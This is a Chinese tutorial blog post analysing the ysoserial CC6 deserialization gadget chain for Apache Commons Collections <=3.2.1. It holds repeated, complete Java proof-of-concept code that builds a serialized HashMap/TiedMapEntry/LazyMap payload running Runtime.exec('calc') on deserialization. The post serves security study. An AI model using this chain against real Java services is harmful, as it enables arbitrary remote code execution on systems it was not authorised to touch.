学习yso之分析CC6链<=3.2.1(续)

admin 2024年11月11日21:07:02评论5 views字数 7409阅读24分41秒阅读模式
概述
jdk8u71之后,CC1链就不能⽤了,在ysoserial⾥,CC6链算是⽐较通⽤的利⽤链了,主要就是⾼版本兼容
下面就简单的跟进一下CC6这条利用链,如有不对的地方,请指教。
LazyMap

commons-collections-one 讲过 LazyMap 这里回顾一下。

代码实现
package org.six;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Map;

public class Six {
   public static void main(String[] args) {
       Transformer[] transformers=  new Transformer[]{
           new ConstantTransformer(Runtime.class),
           new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
           new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
           new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
      };

       ChainedTransformer chainedTransformer  = new ChainedTransformer(transformers);
       Map<Object,Object> lazymap =  LazyMap.decorate(new HashMap(),chainedTransformer);
       lazymap.get("aaaa");
  }
}

get 方法中 如果key不存在是就会走到 transform方法

学习yso之分析CC6链<=3.2.1(续)

学习yso之分析CC6链<=3.2.1(续)

查找get方法调用点, 找到 TiedMapEntry 类包 org.apache.commons.collections.keyvalue

学习yso之分析CC6链<=3.2.1(续)

TiedMapEntry

进入TiedMapEntry 类中

TiedMapEntry 接口继承自 Serializable  Map.Entry

其中 TiedMapEntry 构造器可以传入 map (map)可控

继续往下面走

学习yso之分析CC6链<=3.2.1(续)

getValue

getValue() 方法中 发现其 直接return  this.map.get

当map 中传入 上诉 Transforms 这个数组时就会弹出计算器

代码实现
package org.six;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Map;

public class Six {
   public static void main(String[] args) {
       Transformer[] transformers=  new Transformer[]{
           new ConstantTransformer(Runtime.class),
           new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
           new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
           new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
      };

       ChainedTransformer chainedTransformer  = new ChainedTransformer(transformers);
       Map<Object,Object> lazymap =  LazyMap.decorate(new HashMap(),chainedTransformer);
       TiedMapEntry  tiedMapEntry  = new TiedMapEntry(lazymap,"aaaa");
       tiedMapEntry.getValue();
  }
}

学习yso之分析CC6链<=3.2.1(续)

hashcode

继续往下面走 发现 hashcode方法也会调用到 getValue

学习yso之分析CC6链<=3.2.1(续)

代码实现
package org.six;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Map;

public class Six {
   public static void main(String[] args) {
       Transformer[] transformers=  new Transformer[]{
           new ConstantTransformer(Runtime.class),
           new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
           new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
           new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
      };

       ChainedTransformer chainedTransformer  = new ChainedTransformer(transformers);
       Map<Object,Object> lazymap =  LazyMap.decorate(new HashMap(),chainedTransformer);
       TiedMapEntry  tiedMapEntry  = new TiedMapEntry(lazymap,"aaaa");
       tiedMapEntry.hashCode();
  }
}
HashMap--->hashcode 方法

调用HashMap 方法的时候,在HashMap 里面有调用到hashcode这个方法

学习yso之分析CC6链<=3.2.1(续)

进入hash 方法

学习yso之分析CC6链<=3.2.1(续)

当传入的key为 TiedMapEntry类时,就会调用到里面的hashcode方法

ReadObject
package org.six;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import sun.util.resources.cldr.az.CalendarData_az_Latn_AZ;

import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;

public class Six {
   public static void main(String[] args) throws Exception {
       Transformer[] transformers=  new Transformer[]{
           new ConstantTransformer(Runtime.class),
           new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
           new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
           new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
      };

       ChainedTransformer chainedTransformer  = new ChainedTransformer(transformers);
       Map<Object,Object> lazymap =  LazyMap.decorate(new HashMap(),new ConstantTransformer("hello"));
       TiedMapEntry  tiedMapEntry  = new TiedMapEntry(lazymap,null);
       tiedMapEntry.getValue();
       HashMap hashmap =  new HashMap<>();
       hashmap.put(tiedMapEntry,"123");
       Class c = LazyMap.class;
       Field factoryfield =  c.getDeclaredField("factory");
       factoryfield.setAccessible(true);
       factoryfield.set(lazymap,chainedTransformer);
       Seria s = new Seria();
       s.seria(hashmap);

  }
}

这里通过反射找到factory ,并把Map改变为 lazymap ,把chainedTransformer 放进去

但是这里也不会弹出计算机,断点跟进。

调用到hashcode方法

学习yso之分析CC6链<=3.2.1(续)

进入 getValue

学习yso之分析CC6链<=3.2.1(续)

进入到get方法

学习yso之分析CC6链<=3.2.1(续)

这里!this.map.containsKey(key) 为false 那么就是找到了这个key ,这个key 为null

学习yso之分析CC6链<=3.2.1(续)

删除key是否能达到我们的目的

代码尝试

删除 lazymap, 中null这个键值

学习yso之分析CC6链<=3.2.1(续)

代码如下

package org.six;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Six {
   public static void main(String[] args) throws Exception {
       Transformer[] transformers=  new Transformer[]{
           new ConstantTransformer(Runtime.class),
           new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
           new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
           new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
      };

       ChainedTransformer chainedTransformer  = new ChainedTransformer(transformers);
       Map<Object,Object> lazymap =  LazyMap.decorate(new HashMap(),new ConstantTransformer("hello"));
       TiedMapEntry  tiedMapEntry  = new TiedMapEntry(lazymap,null);
       tiedMapEntry.getValue();
       HashMap hashmap =  new HashMap<>();
       hashmap.put(tiedMapEntry,"123");
       lazymap.remove(null);
       Class c = LazyMap.class;
       Field factoryfield =  c.getDeclaredField("factory");
       factoryfield.setAccessible(true);
       factoryfield.set(lazymap,chainedTransformer);
       Seria s = new Seria();
       s.seria(hashmap);


  }
}
序列化和发序列化代码
package org.example;

import java.io.*;

public class Seria {
   public  void seria(Object obj) throws Exception{
       ObjectOutputStream  OutputStream =  new ObjectOutputStream(new FileOutputStream("test.txt"));
       OutputStream.writeObject(obj);
       OutputStream.close();
  }

   public  void unseria() throws Exception{
       ObjectInputStream input = new ObjectInputStream(new FileInputStream("test.txt"));
       input.readObject();
  }
}
反序列化尝试

学习yso之分析CC6链<=3.2.1(续)

原文始发于微信公众号(小黑说安全):学习yso之分析CC6链<=3.2.1(续)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月11日21:07:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   学习yso之分析CC6链<=3.2.1(续)https://cn-sec.com/archives/1875548.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息